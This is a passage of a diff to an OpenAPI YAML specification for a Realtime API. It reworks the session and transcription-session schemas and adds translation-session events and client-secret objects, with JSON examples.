+ RealtimeSessionCreateResponseGA:
type: object
- title: Realtime function call output item
- description: A function call output item in a Realtime conversation.
+ title: Realtime session configuration object
+ description: |
+ A Realtime session configuration object.
properties:
- id:
- type: string
- description: The unique ID of the item. This may be provided by the client or generated by the server.
- object:
- type: string
- enum:
- - realtime.item
- description: Identifier for the API object being returned - always `realtime.item`. Optional when creating a new item.
- x-stainless-const: true
type:
type: string
+ description: |
+ The type of session to create. Always `realtime` for the Realtime API.
enum:
- - function_call_output
- description: The type of the item. Always `function_call_output`.
+ - realtime
x-stainless-const: true
- status:
- type: string
- enum:
- - completed
- - incomplete
- - in_progress
- description: The status of the item. Has no effect on the conversation.
- call_id:
- type: string
- description: The ID of the function call this output is for.
- output:
- type: string
- description: The output of the function call, this is free text and can contain any information or simply be empty.
- required:
- - type
- - call_id
- - output
- RealtimeConversationItemMessageAssistant:
- type: object
- title: Realtime assistant message item
- description: An assistant message item in a Realtime conversation.
- properties:
id:
type: string
- description: The unique ID of the item. This may be provided by the client or generated by the server.
+ description: |
+ Unique identifier for the session that looks like `sess_1234567890abcdef`.
object:
type: string
+ description: The object type. Always `realtime.session`.
enum:
- - realtime.item
- description: Identifier for the API object being returned - always `realtime.item`. Optional when creating a new item.
- x-stainless-const: true
- type:
- type: string
- enum:
- - message
- description: The type of the item. Always `message`.
+ - realtime.session
x-stainless-const: true
- status:
- type: string
- enum:
- - completed
- - incomplete
- - in_progress
- description: The status of the item. Has no effect on the conversation.
- role:
+ expires_at:
+ type: integer
+ format: unixtime
+ description: Expiration timestamp for the session, in seconds since epoch.
+ output_modalities:
+ type: array
+ description: |
+ The set of modalities the model can respond with. It defaults to `["audio"]`, indicating
+ that the model will respond with audio plus a transcript. `["text"]` can be used to make
+ the model respond with text only. It is not possible to request both `text` and `audio` at the same time.
+ default:
+ - audio
+ items:
+ type: string
+ enum:
+ - text
+ - audio
+ model:
+ anyOf:
+ - type: string
+ - type: string
+ enum:
+ - gpt-realtime
+ - gpt-realtime-1.5
+ - gpt-realtime-2
+ - gpt-realtime-2.1
+ - gpt-realtime-2.1-mini
+ - gpt-realtime-2025-08-28
+ - gpt-4o-realtime-preview
+ - gpt-4o-realtime-preview-2024-10-01
+ - gpt-4o-realtime-preview-2024-12-17
+ - gpt-4o-realtime-preview-2025-06-03
+ - gpt-4o-mini-realtime-preview
+ - gpt-4o-mini-realtime-preview-2024-12-17
+ - gpt-realtime-mini
+ - gpt-realtime-mini-2025-10-06
+ - gpt-realtime-mini-2025-12-15
+ - gpt-audio-1.5
+ - gpt-audio-mini
+ - gpt-audio-mini-2025-10-06
+ - gpt-audio-mini-2025-12-15
+ description: |
+ The Realtime model used for this session.
+ instructions:
type: string
- enum:
- - assistant
- description: The role of the message sender. Always `assistant`.
- x-stainless-const: true
- content:
+ description: |
+ The default system instructions (i.e. system message) prepended to model calls. This field allows the client to guide the model on desired responses. The model can be instructed on response content and format, (e.g. "be extremely succinct", "act friendly", "here are examples of good responses") and on audio behavior (e.g. "talk quickly", "inject emotion into your voice", "laugh frequently"). The instructions are not guaranteed to be followed by the model, but they provide guidance to the model on the desired behavior.
+
+ Note that the server sets default instructions which will be used if this field is not set and are visible in the `session.created` event at the start of the session.
+ audio:
+ type: object
+ description: |
+ Configuration for input and output audio.
+ properties:
+ input:
+ type: object
+ properties:
+ format:
+ $ref: '#/components/schemas/RealtimeAudioFormats'
+ description: The format of the input audio.
+ transcription:
+ $ref: '#/components/schemas/AudioTranscription'
+ noise_reduction:
+ type: object
+ properties:
+ type:
+ $ref: '#/components/schemas/NoiseReductionType'
+ description: |
+ Configuration for input audio noise reduction. This can be set to `null` to turn off.
+ Noise reduction filters audio added to the input audio buffer before it is sent to VAD and the model.
+ Filtering the audio can improve VAD and turn detection accuracy (reducing false positives) and model performance by improving perception of the input audio.
+ turn_detection:
+ $ref: '#/components/schemas/RealtimeTurnDetection'
+ output:
+ type: object
+ properties:
+ format:
+ $ref: '#/components/schemas/RealtimeAudioFormats'
+ description: The format of the output audio.
+ voice:
+ $ref: '#/components/schemas/VoiceIdsShared'
+ default: alloy
+ description: |
+ The voice the model uses to respond. Voice cannot be changed during the
+ session once the model has responded with audio at least once. Current
+ voice options are `alloy`, `ash`, `ballad`, `coral`, `echo`, `sage`,
+ `shimmer`, `verse`, `marin`, and `cedar`. We recommend `marin` and `cedar` for
+ best quality.
+ speed:
+ type: number
+ default: 1
+ maximum: 1.5
+ minimum: 0.25
+ description: |
+ The speed of the model's spoken response as a multiple of the original speed.
+ 1.0 is the default speed. 0.25 is the minimum speed. 1.5 is the maximum speed. This value can only be changed in between model turns, not while a response is in progress.
+
+ This parameter is a post-processing adjustment to the audio after it is generated, it's
+ also possible to prompt the model to speak faster or slower.
+ include:
type: array
- description: The content of the message.
items:
- type: object
- properties:
- type:
- type: string
- enum:
- - output_text
- - output_audio
- description: The content type, `output_text` or `output_audio` depending on the session `output_modalities` configuration.
- text:
- type: string
- description: The text content.
- audio:
- type: string
- description: Base64-encoded audio bytes, these will be parsed as the format specified in the session output audio type configuration. This defaults to PCM 16-bit 24kHz mono if not specified.
- transcript:
- type: string
- description: The transcript of the audio content, this will always be present if the output type is `audio`.
+ type: string
+ enum:
+ - item.input_audio_transcription.logprobs
+ description: |
+ Additional fields to include in server outputs.
+
+ `item.input_audio_transcription.logprobs`: Include logprobs for input audio transcription.
+ tracing:
+ anyOf:
+ - title: Tracing Configuration
+ anyOf:
+ - type: string
+ title: auto
+ default: auto
+ description: |
+ Enables tracing and sets default values for tracing configuration options. Always `auto`.
+ enum:
+ - auto
+ x-stainless-const: true
+ - type: object
+ title: Tracing Configuration
+ description: |
+ Granular configuration for tracing.
+ properties:
+ workflow_name:
+ type: string
+ description: |
+ The name of the workflow to attach to this trace. This is used to
+ name the trace in the Traces Dashboard.
+ group_id:
+ type: string
+ description: |
+ The group id to attach to this trace to enable filtering and
+ grouping in the Traces Dashboard.
+ metadata:
+ type: object
+ description: |
+ The arbitrary metadata to attach to this trace to enable
+ filtering in the Traces Dashboard.
+ description: |
+ Realtime API can write session traces to the [Traces Dashboard](https://platform.openai.com/logs?api=traces). Set to null to disable tracing. Once
+ tracing is enabled for a session, the configuration cannot be modified.
+
+ `auto` will create a trace for the session with default values for the
+ workflow name, group id, and metadata.
+ - type: 'null'
+ tools:
+ type: array
+ description: Tools available to the model.
+ items:
+ anyOf:
+ - $ref: '#/components/schemas/RealtimeFunctionTool'
+ - $ref: '#/components/schemas/MCPTool'
+ tool_choice:
+ description: |
+ How the model chooses tools. Provide one of the string modes or force a specific
+ function/MCP tool.
+ default: auto
+ anyOf:
+ - $ref: '#/components/schemas/ToolChoiceOptions'
+ - $ref: '#/components/schemas/ToolChoiceFunction'
+ - $ref: '#/components/schemas/ToolChoiceMCP'
+ reasoning:
+ $ref: '#/components/schemas/RealtimeReasoning'
+ max_output_tokens:
+ description: |
+ Maximum number of output tokens for a single assistant response,
+ inclusive of tool calls. Provide an integer between 1 and 4096 to
+ limit output tokens, or `inf` for the maximum available tokens for a
+ given model. Defaults to `inf`.
+ anyOf:
+ - type: integer
+ - type: string
+ enum:
+ - inf
+ x-stainless-const: true
+ truncation:
+ $ref: '#/components/schemas/RealtimeTruncation'
+ prompt:
+ $ref: '#/components/schemas/Prompt'
required:
- type
- - role
- - content
- RealtimeConversationItemMessageSystem:
+ - id
+ - object
+ x-oaiMeta:
+ name: The session object
+ group: realtime
+ RealtimeTranscriptionSessionCreateRequest:
type: object
- title: Realtime system message item
- description: A system message in a Realtime conversation can be used to provide additional context or instructions to the model. This is similar but distinct from the instruction prompt provided at the start of a conversation, as system messages can be added at any point in the conversation. For major changes to the conversation's behavior, use instructions, but for smaller updates (e.g. "the user is now asking about a different topic"), use system messages.
+ title: Realtime transcription session configuration
+ description: Realtime transcription session object configuration.
properties:
- id:
- type: string
- description: The unique ID of the item. This may be provided by the client or generated by the server.
- object:
- type: string
- enum:
- - realtime.item
- description: Identifier for the API object being returned - always `realtime.item`. Optional when creating a new item.
- x-stainless-const: true
- type:
- type: string
- enum:
- - message
- description: The type of the item. Always `message`.
- x-stainless-const: true
- status:
- type: string
- enum:
- - completed
- - incomplete
- - in_progress
- description: The status of the item. Has no effect on the conversation.
- role:
+ turn_detection:
+ type: object
+ description: |
+ Configuration for turn detection. Can be set to `null` to turn off. Server VAD means that the model will detect the start and end of speech based on audio volume and respond at the end of user speech.
+ properties:
+ type:
+ type: string
+ description: |
+ Type of turn detection. Only `server_vad` is currently supported for transcription sessions.
+ enum:
+ - server_vad
+ threshold:
+ type: number
+ description: |
+ Activation threshold for VAD (0.0 to 1.0), this defaults to 0.5. A
+ higher threshold will require louder audio to activate the model, and
+ thus might perform better in noisy environments.
+ prefix_padding_ms:
+ type: integer
+ description: |
+ Amount of audio to include before the VAD detected speech (in
+ milliseconds). Defaults to 300ms.
+ silence_duration_ms:
+ type: integer
+ description: |
+ Duration of silence to detect speech stop (in milliseconds). Defaults
+ to 500ms. With shorter values the model will respond more quickly,
+ but may jump in on short pauses from the user.
+ input_audio_noise_reduction:
+ type: object
+ properties:
+ type:
+ $ref: '#/components/schemas/NoiseReductionType'
+ description: |
+ Configuration for input audio noise reduction. This can be set to `null` to turn off.
+ Noise reduction filters audio added to the input audio buffer before it is sent to VAD and the model.
+ Filtering the audio can improve VAD and turn detection accuracy (reducing false positives) and model performance by improving perception of the input audio.
+ input_audio_format:
type: string
+ default: pcm16
enum:
- - system
- description: The role of the message sender. Always `system`.
- x-stainless-const: true
- content:
+ - pcm16
+ - g711_ulaw
+ - g711_alaw
+ description: |
+ The format of input audio. Options are `pcm16`, `g711_ulaw`, or `g711_alaw`.
+ For `pcm16`, input audio must be 16-bit PCM at a 24kHz sample rate,
+ single channel (mono), and little-endian byte order.
+ input_audio_transcription:
+ description: |
+ Configuration for input audio transcription. The client can optionally set the language and prompt for transcription, these offer additional guidance to the transcription service.
+ $ref: '#/components/schemas/AudioTranscription'
+ include:
type: array
- description: The content of the message.
items:
- type: object
- properties:
- type:
- type: string
- enum:
- - input_text
- description: The content type. Always `input_text` for system messages.
- x-stainless-const: true
- text:
- type: string
- description: The text content.
- required:
- - type
- - role
- - content
- RealtimeConversationItemMessageUser:
+ type: string
+ enum:
+ - item.input_audio_transcription.logprobs
+ description: |
+ The set of items to include in the transcription. Current available items are:
+ `item.input_audio_transcription.logprobs`
+ RealtimeTranscriptionSessionCreateRequestGA:
type: object
- title: Realtime user message item
- description: A user message item in a Realtime conversation.
+ title: Realtime transcription session configuration
+ description: Realtime transcription session object configuration.
properties:
- id:
- type: string
- description: The unique ID of the item. This may be provided by the client or generated by the server.
- object:
- type: string
- enum:
- - realtime.item
- description: Identifier for the API object being returned - always `realtime.item`. Optional when creating a new item.
- x-stainless-const: true
type:
type: string
+ description: |
+ The type of session to create. Always `transcription` for transcription sessions.
enum:
- - message
- description: The type of the item. Always `message`.
- x-stainless-const: true
- status:
- type: string
- enum:
- - completed
- - incomplete
- - in_progress
- description: The status of the item. Has no effect on the conversation.
- role:
- type: string
- enum:
- - user
- description: The role of the message sender. Always `user`.
+ - transcription
x-stainless-const: true
- content:
+ audio:
+ type: object
+ description: |
+ Configuration for input and output audio.
+ properties:
+ input:
+ type: object
+ properties:
+ format:
+ $ref: '#/components/schemas/RealtimeAudioFormats'
+ transcription:
+ description: |
+ Configuration for input audio transcription, defaults to off and can be set to `null` to turn off once on. Input audio transcription is not native to the model, since the model consumes audio directly. Transcription runs asynchronously through [the /audio/transcriptions endpoint](https://developers.openai.com/api/reference/resources/audio/subresources/transcriptions/methods/create) and should be treated as guidance of input audio content rather than precisely what the model heard. The client can optionally set the language and prompt for transcription, these offer additional guidance to the transcription service.
+ $ref: '#/components/schemas/AudioTranscription'
+ noise_reduction:
+ type: object
+ properties:
+ type:
+ $ref: '#/components/schemas/NoiseReductionType'
+ description: |
+ Configuration for input audio noise reduction. This can be set to `null` to turn off.
+ Noise reduction filters audio added to the input audio buffer before it is sent to VAD and the model.
+ Filtering the audio can improve VAD and turn detection accuracy (reducing false positives) and model performance by improving perception of the input audio.
+ turn_detection:
+ $ref: '#/components/schemas/RealtimeTurnDetection'
+ include:
type: array
- description: The content of the message.
items:
- type: object
- properties:
- type:
- type: string
- enum:
- - input_text
- - input_audio
- - input_image
- description: The content type (`input_text`, `input_audio`, or `input_image`).
- text:
- type: string
- description: The text content (for `input_text`).
- audio:
- type: string
- description: Base64-encoded audio bytes (for `input_audio`), these will be parsed as the format specified in the session input audio type configuration. This defaults to PCM 16-bit 24kHz mono if not specified.
- image_url:
- type: string
- format: uri
- description: Base64-encoded image bytes (for `input_image`) as a data URI. For example `data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAA...`. Supported formats are PNG and JPEG.
- detail:
- type: string
- description: The detail level of the image (for `input_image`). `auto` will default to `high`.
- default: auto
- enum:
- - auto
- - low
- - high
- transcript:
- type: string
- description: Transcript of the audio (for `input_audio`). This is not sent to the model, but will be attached to the message item for reference.
+ type: string
+ enum:
+ - item.input_audio_transcription.logprobs
+ description: |
+ Additional fields to include in server outputs.
+
+ `item.input_audio_transcription.logprobs`: Include logprobs for input audio transcription.
required:
- type
- - role
- - content
- RealtimeConversationItemWithReference:
+ RealtimeTranscriptionSessionCreateResponse:
type: object
- description: The item to add to the conversation.
+ description: |
+ A new Realtime transcription session configuration.
+
+ When a session is created on the server via REST API, the session object
+ also contains an ephemeral key. Default TTL for keys is 10 minutes. This
+ property is not present when a session is updated via the WebSocket API.
properties:
- id:
+ client_secret:
+ type: object
+ description: |
+ Ephemeral key returned by the API. Only present when the session is
+ created on the server via REST API.
+ properties:
+ value:
+ type: string
+ description: |
+ Ephemeral key usable in client environments to authenticate connections
+ to the Realtime API. Use this in client-side environments rather than
+ a standard API token, which should only be used server-side.
+ expires_at:
+ type: integer
+ format: unixtime
+ description: |
+ Timestamp for when the token expires. Currently, all tokens expire
+ after one minute.
+ required:
+ - value
+ - expires_at
+ modalities:
+ description: |
+ The set of modalities the model can respond with. To disable audio,
+ set this to ["text"].
+ items:
+ type: string
+ enum:
+ - text
+ - audio
+ input_audio_format:
type: string
description: |
- For an item of type (`message` | `function_call` | `function_call_output`)
- this field allows the client to assign the unique ID of the item. It is
- not required because the server will generate one if not provided.
-
- For an item of type `item_reference`, this field is required and is a
- reference to any item that has previously existed in the conversation.
+ The format of input audio. Options are `pcm16`, `g711_ulaw`, or `g711_alaw`.
+ input_audio_transcription:
+ $ref: '#/components/schemas/AudioTranscription'
+ turn_detection:
+ type: object
+ description: |
+ Configuration for turn detection. Can be set to `null` to turn off. Server
+ VAD means that the model will detect the start and end of speech based on
+ audio volume and respond at the end of user speech.
+ properties:
+ type:
+ type: string
+ description: |
+ Type of turn detection, only `server_vad` is currently supported.
+ threshold:
+ type: number
+ description: |
+ Activation threshold for VAD (0.0 to 1.0), this defaults to 0.5. A
+ higher threshold will require louder audio to activate the model, and
+ thus might perform better in noisy environments.
+ prefix_padding_ms:
+ type: integer
+ description: |
+ Amount of audio to include before the VAD detected speech (in
+ milliseconds). Defaults to 300ms.
+ silence_duration_ms:
+ type: integer
+ description: |
+ Duration of silence to detect speech stop (in milliseconds). Defaults
+ to 500ms. With shorter values the model will respond more quickly,
+ but may jump in on short pauses from the user.
+ required:
+ - client_secret
+ x-oaiMeta:
+ name: The transcription session object
+ group: realtime
+ example: |
+ {
+ "id": "sess_BBwZc7cFV3XizEyKGDCGL",
+ "object": "realtime.transcription_session",
+ "expires_at": 1742188264,
+ "modalities": ["audio", "text"],
+ "turn_detection": {
+ "type": "server_vad",
+ "threshold": 0.5,
+ "prefix_padding_ms": 300,
+ "silence_duration_ms": 200
+ },
+ "input_audio_format": "pcm16",
+ "input_audio_transcription": {
+ "model": "gpt-4o-transcribe",
+ "language": null,
+ "prompt": ""
+ },
+ "client_secret": null
+ }
+ RealtimeTranscriptionSessionCreateResponseGA:
+ type: object
+ title: Realtime transcription session configuration object
+ description: |
+ A Realtime transcription session configuration object.
+ properties:
type:
type: string
- enum:
- - message
- - function_call
- - function_call_output
- - item_reference
description: |
- The type of the item (`message`, `function_call`, `function_call_output`, `item_reference`).
- object:
- type: string
+ The type of session. Always `transcription` for transcription sessions.
enum:
- - realtime.item
- description: |
- Identifier for the API object being returned - always `realtime.item`.
+ - transcription
x-stainless-const: true
- status:
+ id:
type: string
- enum:
- - completed
- - incomplete
- - in_progress
- description: "The status of the item (`completed`, `incomplete`, `in_progress`). These have no effect \non the conversation, but are accepted for consistency with the \n`conversation.item.created` event.\n"
- role:
+ description: |
+ Unique identifier for the session that looks like `sess_1234567890abcdef`.
+ object:
type: string
- enum:
- - user
- - assistant
- - system
- description: "The role of the message sender (`user`, `assistant`, `system`), only \napplicable for `message` items.\n"
- content:
+ description: The object type. Always `realtime.transcription_session`.
+ expires_at:
+ type: integer
+ format: unixtime
+ description: Expiration timestamp for the session, in seconds since epoch.
+ include:
type: array
- description: "The content of the message, applicable for `message` items. \n- Message items of role `system` support only `input_text` content\n- Message items of role `user` support `input_text` and `input_audio` \n content\n- Message items of role `assistant` support `text` content.\n"
items:
- type: object
- properties:
- type:
- type: string
- enum:
- - input_text
- - input_audio
- - item_reference
- - text
- description: |
- The content type (`input_text`, `input_audio`, `item_reference`, `text`).
- text:
- type: string
- description: |
- The text content, used for `input_text` and `text` content types.
- id:
- type: string
- description: |
- ID of a previous conversation item to reference (for `item_reference`
- content types in `response.create` events). These can reference both
- client and server created items.
- audio:
- type: string
- description: |
- Base64-encoded audio bytes, used for `input_audio` content type.
- transcript:
- type: string
- description: |
- The transcript of the audio, used for `input_audio` content type.
- call_id:
+ type: string
+ enum:
+ - item.input_audio_transcription.logprobs
+ description: |
+ Additional fields to include in server outputs.
+ - `item.input_audio_transcription.logprobs`: Include logprobs for input audio transcription.
+ audio:
+ type: object
+ description: |
+ Configuration for input audio for the session.
+ properties:
+ input:
+ type: object
+ properties:
+ format:
+ $ref: '#/components/schemas/RealtimeAudioFormats'
+ transcription:
+ $ref: '#/components/schemas/AudioTranscription'
+ noise_reduction:
+ type: object
+ description: |
+ Configuration for input audio noise reduction.
+ properties:
+ type:
+ $ref: '#/components/schemas/NoiseReductionType'
+ turn_detection:
+ description: |
+ Configuration for turn detection. For `gpt-realtime-whisper`, this must be `null`; VAD is not supported.
+ anyOf:
+ - type: object
+ description: |
+ Configuration for turn detection. Can be set to `null` to turn off. Server
+ VAD means that the model will detect the start and end of speech based on
+ audio volume and respond at the end of user speech. For `gpt-realtime-whisper`, this must be `null`; VAD is not supported.
+ properties:
+ type:
+ type: string
+ description: |
+ Type of turn detection, only `server_vad` is currently supported.
+ threshold:
+ type: number
+ description: |
+ Activation threshold for VAD (0.0 to 1.0), this defaults to 0.5. A
+ higher threshold will require louder audio to activate the model, and
+ thus might perform better in noisy environments.
+ prefix_padding_ms:
+ type: integer
+ description: |
+ Amount of audio to include before the VAD detected speech (in
+ milliseconds). Defaults to 300ms.
+ silence_duration_ms:
+ type: integer
+ description: |
+ Duration of silence to detect speech stop (in milliseconds). Defaults
+ to 500ms. With shorter values the model will respond more quickly,
+ but may jump in on short pauses from the user.
+ - type: 'null'
+ required:
+ - type
+ - id
+ - object
+ x-oaiMeta:
+ name: The transcription session object
+ group: realtime
+ example: |
+ {
+ "id": "sess_BBwZc7cFV3XizEyKGDCGL",
+ "type": "transcription",
+ "object": "realtime.transcription_session",
+ "expires_at": 1742188264,
+ "include": ["item.input_audio_transcription.logprobs"],
+ "audio": {
+ "input": {
+ "format": "pcm16",
+ "transcription": {
+ "model": "gpt-4o-transcribe",
+ "language": null,
+ "prompt": ""
+ },
+ "noise_reduction": null,
+ "turn_detection": {
+ "type": "server_vad",
+ "threshold": 0.5,
+ "prefix_padding_ms": 300,
+ "silence_duration_ms": 200
+ }
+ }
+ }
+ }
+ RealtimeTranslationClientEvent:
+ discriminator:
+ propertyName: type
+ description: |
+ A Realtime translation client event.
+ anyOf:
+ - $ref: '#/components/schemas/RealtimeTranslationClientEventSessionUpdate'
+ - $ref: '#/components/schemas/RealtimeTranslationClientEventInputAudioBufferAppend'
+ - $ref: '#/components/schemas/RealtimeTranslationClientEventSessionClose'
+ RealtimeTranslationClientEventInputAudioBufferAppend:
+ type: object
+ description: |
+ Send this event to append audio bytes to the translation session input audio buffer.
+
+ WebSocket translation sessions accept base64-encoded 24 kHz PCM16 mono
+ little-endian raw audio bytes. Unsupported websocket audio formats return a
+ validation error because lower-quality audio materially degrades translation
+ quality.
+
+ Translation consumes 200 ms engine frames. For best realtime behavior, append
+ audio in 200 ms chunks. If a chunk is shorter, the server buffers it until it
+ has enough audio for one frame. If a chunk is longer, the server splits it into
+ 200 ms frames and enqueues them back-to-back.
+
+ Keep appending silence while the session is active. If a client stops sending
+ audio and later resumes, model time treats the resumed audio as contiguous with
+ the previous audio rather than as a real-world pause.
+ properties:
+ event_id:
type: string
- description: "The ID of the function call (for `function_call` and \n`function_call_output` items). If passed on a `function_call_output` \nitem, the server will check that a `function_call` item with the same \nID exists in the conversation history.\n"
- name:
+ maxLength: 512
+ description: Optional client-generated ID used to identify this event.
+ type:
+ x-stainless-const: true
+ description: The event type, must be `session.input_audio_buffer.append`.
+ const: session.input_audio_buffer.append
+ audio:
type: string
- description: |
- The name of the function being called (for `function_call` items).
- arguments:
+ description: Base64-encoded 24 kHz PCM16 mono audio bytes.
+ required:
+ - type
+ - audio
+ x-oaiMeta:
+ name: session.input_audio_buffer.append
+ group: realtime
+ example: |
+ {
+ "event_id": "event_456",
+ "type": "session.input_audio_buffer.append",
+ "audio": "Base64EncodedAudioData"
+ }
+ RealtimeTranslationClientEventSessionClose:
+ type: object
+ description: |
+ Gracefully close the realtime translation session. The server flushes pending
+ input audio and emits any remaining translated output before closing the
+ session.
+ properties:
+ event_id:
type: string
- description: |
- The arguments of the function call (for `function_call` items).
- output:
+ maxLength: 512
+ description: Optional client-generated ID used to identify this event.
+ type:
+ x-stainless-const: true
+ description: The event type, must be `session.close`.
+ const: session.close
+ required:
+ - type
+ x-oaiMeta:
+ name: session.close
+ group: realtime
+ example: |
+ {
+ "event_id": "event_789",
+ "type": "session.close"
+ }
+ RealtimeTranslationClientEventSessionUpdate:
+ type: object
+ description: |
+ Send this event to update the translation session configuration. Translation
+ sessions support updates to `audio.output.language`, `audio.input.transcription`,
+ and `audio.input.noise_reduction`.
+ properties:
+ event_id:
type: string
+ maxLength: 512
+ description: Optional client-generated ID used to identify this event.
+ type:
+ x-stainless-const: true
+ description: The event type, must be `session.update`.
+ const: session.update
+ session:
+ $ref: '#/components/schemas/RealtimeTranslationSessionUpdateRequest'
description: |
- The output of the function call (for `function_call_output` items).
- RealtimeCreateClientSecretRequest:
+ Translation session fields to update. The session `type` and `model` are set
+ at creation and cannot be changed with `session.update`.
+ required:
+ - type
+ - session
+ x-oaiMeta:
+ name: session.update
+ group: realtime
+ example: |
+ {
+ "type": "session.update",
+ "session": {
+ "audio": {
+ "input": {
+ "transcription": {
+ "model": "gpt-realtime-whisper"
+ },
+ "noise_reduction": null
+ },
+ "output": {
+ "language": "es"
+ }
+ }
+ }
+ }
+ RealtimeTranslationClientSecretCreateRequest:
type: object
- title: Realtime client secret creation request
+ title: Realtime translation client secret creation request
description: |
- Create a session and client secret for the Realtime API. The request can specify
- either a realtime or a transcription session configuration.
- [Learn more about the Realtime API](https://developers.openai.com/api/docs/guides/realtime).
+ Create a translation session and client secret for the Realtime API.
properties:
expires_after:
type: object
@@ -47608,20 +55220,14 @@ components:
maximum: 7200
default: 600
session:
- title: Session configuration
- description: |
- Session configuration to use for the client secret. Choose either a realtime
- session or a transcription session.
- anyOf:
- - $ref: '#/components/schemas/RealtimeSessionCreateRequestGA'
- - $ref: '#/components/schemas/RealtimeTranscriptionSessionCreateRequestGA'
- discriminator:
- propertyName: type
- RealtimeCreateClientSecretResponse:
+ $ref: '#/components/schemas/RealtimeTranslationSessionCreateRequest'
+ required:
+ - session
+ RealtimeTranslationClientSecretCreateResponse:
type: object
- title: Realtime session and client secret
+ title: Realtime translation session and client secret
description: |
- Response from creating a session and client secret for the Realtime API.
+ Response from creating a translation session and client secret for the Realtime API.
properties:
value:
type: string
@@ -47631,22157 +55237,25367 @@ components:
format: unixtime
description: Expiration timestamp for the client secret, in seconds since epoch.
session:
- title: Session configuration
- description: |
- The session configuration for either a realtime or transcription session.
- discriminator:
- propertyName: type
- anyOf:
- - $ref: '#/components/schemas/RealtimeSessionCreateResponseGA'
- - $ref: '#/components/schemas/RealtimeTranscriptionSessionCreateResponseGA'
+ $ref: '#/components/schemas/RealtimeTranslationSession'
required:
- value
- expires_at
- session
x-oaiMeta:
- name: Session response object
+ name: Translation session response object
group: realtime
example: |
{
"value": "ek_68af296e8e408191a1120ab6383263c2",
"expires_at": 1756310470,
"session": {
- "type": "realtime",
- "object": "realtime.session",
"id": "sess_C9CiUVUzUzYIssh3ELY1d",
- "model": "gpt-realtime-2025-08-25",
- "output_modalities": [
- "audio"
- ],
- "instructions": "You are a friendly assistant.",
- "tools": [],
- "tool_choice": "auto",
- "max_output_tokens": "inf",
- "tracing": null,
- "truncation": "auto",
- "prompt": null,
- "expires_at": 0,
+ "type": "translation",
+ "expires_at": 1756310470,
+ "model": "gpt-realtime-translate",
"audio": {
"input": {
- "format": {
- "type": "audio/pcm",
- "rate": 24000
- },
"transcription": null,
- "noise_reduction": null,
- "turn_detection": {
- "type": "server_vad",
- "threshold": 0.5,
- "prefix_padding_ms": 300,
- "silence_duration_ms": 200,
- "idle_timeout_ms": null,
- "create_response": true,
- "interrupt_response": true
- }
+ "noise_reduction": null
},
"output": {
- "format": {
- "type": "audio/pcm",
- "rate": 24000
- },
- "voice": "alloy",
- "speed": 1.0
+ "language": "es"
}
- },
- "include": null
+ }
}
}
- RealtimeFunctionTool:
- type: object
- title: Function tool
- properties:
- type:
- type: string
- enum:
- - function
- description: The type of the tool, i.e. `function`.
- x-stainless-const: true
- name:
- type: string
- description: The name of the function.
- description:
- type: string
- description: |
- The description of the function, including guidance on when and how
- to call it, and guidance about what to tell the user when calling
- (if anything).
- parameters:
- type: object
- description: Parameters of the function in JSON Schema.
- RealtimeMCPApprovalRequest:
+ RealtimeTranslationServerEvent:
+ discriminator:
+ propertyName: type
+ description: |
+ A Realtime translation server event.
+ anyOf:
+ - $ref: '#/components/schemas/RealtimeServerEventError'
+ - $ref: '#/components/schemas/RealtimeTranslationServerEventSessionCreated'
+ - $ref: '#/components/schemas/RealtimeTranslationServerEventSessionUpdated'
+ - $ref: '#/components/schemas/RealtimeTranslationServerEventSessionClosed'
+ - $ref: '#/components/schemas/RealtimeTranslationServerEventSessionInputTranscriptDelta'
+ - $ref: '#/components/schemas/RealtimeTranslationServerEventSessionOutputTranscriptDelta'
+ - $ref: '#/components/schemas/RealtimeTranslationServerEventSessionOutputAudioDelta'
+ RealtimeTranslationServerEventSessionClosed:
type: object
- title: Realtime MCP approval request
description: |
- A Realtime item requesting human approval of a tool invocation.
+ Returned when a realtime translation session is closed.
properties:
- type:
+ event_id:
type: string
- enum:
- - mcp_approval_request
- description: The type of the item. Always `mcp_approval_request`.
+ description: The unique ID of the server event.
+ type:
x-stainless-const: true
- id:
- type: string
- description: The unique ID of the approval request.
- server_label:
- type: string
- description: The label of the MCP server making the request.
- name:
- type: string
- description: The name of the tool to run.
- arguments:
- type: string
- description: A JSON string of arguments for the tool.
+ description: The event type, must be `session.closed`.
+ const: session.closed
required:
+ - event_id
- type
- - id
- - server_label
- - name
- - arguments
- RealtimeMCPApprovalResponse:
+ x-oaiMeta:
+ name: session.closed
+ group: realtime
+ example: |
+ {
+ "event_id": "event_987",
+ "type": "session.closed"
+ }
+ RealtimeTranslationServerEventSessionCreated:
type: object
- title: Realtime MCP approval response
description: |
- A Realtime item responding to an MCP approval request.
+ Returned when a translation session is created. Emitted automatically when a
+ new connection is established as the first server event. This event contains
+ the default translation session configuration.
properties:
- type:
+ event_id:
type: string
- enum:
- - mcp_approval_response
- description: The type of the item. Always `mcp_approval_response`.
+ description: The unique ID of the server event.
+ type:
x-stainless-const: true
- id:
- type: string
- description: The unique ID of the approval response.
- approval_request_id:
- type: string
- description: The ID of the approval request being answered.
- approve:
- type: boolean
- description: Whether the request was approved.
- reason:
- anyOf:
- - type: string
- description: Optional reason for the decision.
- - type: 'null'
+ description: The event type, must be `session.created`.
+ const: session.created
+ session:
+ $ref: '#/components/schemas/RealtimeTranslationSession'
+ description: The translation session configuration.
required:
+ - event_id
- type
- - id
- - approval_request_id
- - approve
- RealtimeMCPHTTPError:
+ - session
+ x-oaiMeta:
+ name: session.created
+ group: realtime
+ example: |
+ {
+ "type": "session.created",
+ "event_id": "event_123",
+ "session": {
+ "id": "sess_123",
+ "type": "translation",
+ "model": "gpt-realtime-translate",
+ "expires_at": 1714857600,
+ "audio": {
+ "input": {
+ "transcription": {
+ "model": "gpt-realtime-whisper",
+ "language": "en"
+ },
+ "noise_reduction": {
+ "type": "near_field"
+ }
+ },
+ "output": {
+ "language": "fr"
+ }
+ }
+ }
+ }
+ RealtimeTranslationServerEventSessionInputTranscriptDelta:
type: object
- title: Realtime MCP HTTP error
+ description: |
+ Returned when optional source-language transcript text is available. This event
+ is emitted only when `audio.input.transcription` is configured.
+
+ Transcript deltas are append-only text fragments. Clients should not insert
+ unconditional spaces between deltas.
properties:
- type:
+ event_id:
type: string
- enum:
- - http_error
+ description: The unique ID of the server event.
+ type:
x-stainless-const: true
- code:
- type: integer
- message:
+ description: The event type, must be `session.input_transcript.delta`.
+ const: session.input_transcript.delta
+ delta:
type: string
+ description: Append-only source-language transcript text.
+ elapsed_ms:
+ anyOf:
+ - type: integer
+ description: |
+ Timing metadata for stream alignment, derived from the translation frame
